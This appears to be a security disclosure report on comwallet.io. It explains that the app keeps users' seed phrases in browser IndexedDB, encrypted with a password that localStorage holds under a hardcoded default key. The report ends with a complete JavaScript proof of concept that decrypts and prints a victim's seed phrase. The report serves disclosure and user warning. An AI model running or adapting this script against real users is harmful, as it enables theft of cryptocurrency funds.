---
# System prepended metadata

title: Security Analysis of comwallet.io Implementation
tags: [report]

---

# Security Analysis of comwallet.io Implementation

## Overview

This report details the security implications of the wallet implementation used
by comwallet.io. Our analysis reveals significant deviations from standard
security practices in cryptocurrency wallet management, potentially exposing
users to unnecessary risks.

## Key Findings

1. **In-App Seed Storage:** Unlike standard practices that rely on secure
   browser extensions, comwallet.io stores the wallet's seed phrase within the
   application's own data storage.
2. **Increased Attack Surface**: Storing the seed phrase within the web
   application's data storage significantly increases the potential attack
   surface, making it more vulnerable to various types of attacks compared to
   industry-standard practices.
3. **Potential for Unauthorized Access:** The application owners or anyone with
   access to the codebase could potentially modify the application to extract
   users' seed phrases.

## Detailed Analysis

### Seed Storage Location

The wallet's seed phrase is stored in the browser's IndexedDB, specifically in a
database named "communeWallet". This can be seen in the following screenshot:

![image](https://hackmd.io/_uploads/HyUyrv7LA.png)

### Encryption Method

The seed phrase is encrypted using AES encryption with a user-provided password.
While encryption adds a layer of security, storing the seed phrase within the
application's data storage is inherently risky.

### Extraction Process

We were able to extract the seed phrase using the following process:

1. Decrypt the user's password from localStorage.
2. Access the IndexedDB database "communeWallet".
3. Retrieve the encrypted wallet data from the "wallets" object store.
4. Decrypt the wallet data using the user's password.
5. Extract the seed phrase from the decrypted wallet data.

Here's a screenshot showing the successful extraction of the seed phrase:

![image](https://hackmd.io/_uploads/Hk6kOwmUA.png)

## Implications

1. **Decreased Application Security:** If comwallet.io's security is
   compromised, all users' seed phrases could potentially be exposed.
2. **Trust Requirement:** Users must implicitly trust the comwallet.io
   developers not to access or misuse their seed phrases.
3. **Increased Attack Surface:** Storing sensitive data within the application
   increases the potential attack surface for malicious actors.

## Recommendations

Given the security risks associated with comwallet.io's current implementation,
we strongly recommend users to switch to alternative wallet app solutions, like
[wallet.communeai.org](https://wallet.communeai.org/) that properly integrate
with secure Substrate wallet browser extensions like Polkadot{.js} Extension or
SubWallet.

By using these alternatives, users can significantly reduce the risk of their
seed phrases being compromised through application-level vulnerabilities.

## Proof of Concept

The following script demonstrates how the seed phrase can be extracted from
comwallet.io's data storage:

```javascript
function loadDeps() {
    return new Promise((resolve, reject) => {
        // Check if CryptoJS is already loaded
        if (typeof CryptoJS !== 'undefined') {
            // console.log('CryptoJS is already loaded');
            resolve(CryptoJS);
            return;
        }

        // Check if the script is already being loaded
        let existingScript = document.querySelector('script[src*="crypto-js"]');
        if (existingScript) {
            console.log('CryptoJS is already being loaded');
            existingScript.addEventListener('load', () => resolve(CryptoJS));
            existingScript.addEventListener('error', reject);
            return;
        }

        // If not loaded and not being loaded, proceed with loading
        let script = document.createElement('script');
        script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js';
        script.onload = () => {
            resolve(CryptoJS);
        };
        script.onerror = () => {
            reject(new Error('Failed to load CryptoJS'));
        };
        document.head.appendChild(script);
    });
}


await loadDeps();

const defaultKey = "IIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQE";

function formatDecryptedText(text) {
    return text && text.startsWith('"') && text.endsWith('"') ? text.slice(1, -1) : text;
}

function decrypt(encryptedData, key) {
    if (encryptedData) {
        try {
            let decrypted = CryptoJS.AES.decrypt(encryptedData, key || defaultKey);
            let utf8 = decrypted.toString(CryptoJS.enc.Utf8);
            return formatDecryptedText(utf8);
        } catch (error) {
            console.error("Decryption failed:", error);
            return null;
        }
    }
    return null;
}

// Decrypt the password first
let encrypted_secret = localStorage.getItem("COMMUNE_AI_WALLET_PASSWORD_SECRET");
console.log("COMMUNE_AI_WALLET_PASSWORD_SECRET:", encrypted_secret);

let decrypted_password = decrypt(encrypted_secret);
console.log("Decrypted password:", decrypted_password);

// Now, let's try to get and decrypt the wallet data
async function decryptWallet() {
    let db = await new Promise((resolve, reject) => {
        let request = indexedDB.open("communeWallet");
        request.onerror = (event) => {
            console.error("Database error:", event.target.error);
            reject(event.target.error);
        };
        request.onsuccess = (event) => resolve(event.target.result);
    });

    if (!db.objectStoreNames.contains('wallets')) {
        console.error("'wallets' object store not found. Available stores:", Array.from(db.objectStoreNames));
        return;
    }

    let transaction = db.transaction(["wallets"], "readonly");
    let objectStore = transaction.objectStore("wallets");
    let request = objectStore.getAll();

    request.onerror = (event) => {
        console.error("Error fetching wallet data:", event.target.error);
    };

    request.onsuccess = (event) => {
        let wallets = event.target.result;
        if (wallets && wallets.length > 0) {
            let wallet = wallets[0];
            console.log("Encrypted wallet data:", wallet);

            let decrypted_wallet = decrypt(wallet.account, decrypted_password);
            console.log("Decrypted wallet data:", decrypted_wallet);

            try {
                let parsed_wallet = JSON.parse(decrypted_wallet);

                if (parsed_wallet.seedPhrase) {
                    console.log("Seed phrase found:", decrypt(parsed_wallet.seedPhrase, decrypted_password));
                } else {
                    console.log("Seed phrase not found");
                }
            } catch (error) {
                console.error("Error parsing decrypted wallet data:", error);
            }
        } else {
            console.log("No wallet data found in IndexedDB");
        }
    };
}

decryptWallet().catch(console.error);
```

This script, when run in the browser console of a logged-in user on
comwallet.io, will output the user's seed phrase, demonstrating  how, if the
application were to be compromised, an attacker could potentially extract a
user's seed phrase. It's important to note that this script itself is not an
attack, but rather a proof-of-concept illustrating the risks associated with
storing seed phrases within the web application's data storage. In a real-world
scenario, this kind of extraction would only be possible if the attacker had
already gained unauthorized access to the application.

## Conclusion

The current wallet implementation by comwallet.io significantly deviates from
best practices in cryptocurrency wallet security. By storing seed phrases within
the application's data storage, it exposes users to unnecessary risks. We
strongly recommend users to transition to more secure alternatives that
integrate with browser extensions like Polkadot{.js} or SubWallet to ensure the
safety of their digital assets.

## Annex

Creating wallet with `1234` password:

![image](https://hackmd.io/_uploads/SJcxEwmUC.png)

Generated seed:

![image](https://hackmd.io/_uploads/rkDQ4vQ80.png)

App Local Storage with encoded `1234` password:

![image](https://hackmd.io/_uploads/SJKdEvXU0.png)

App's IndexedDB with encoded seed:

![image](https://hackmd.io/_uploads/HyUyrv7LA.png)
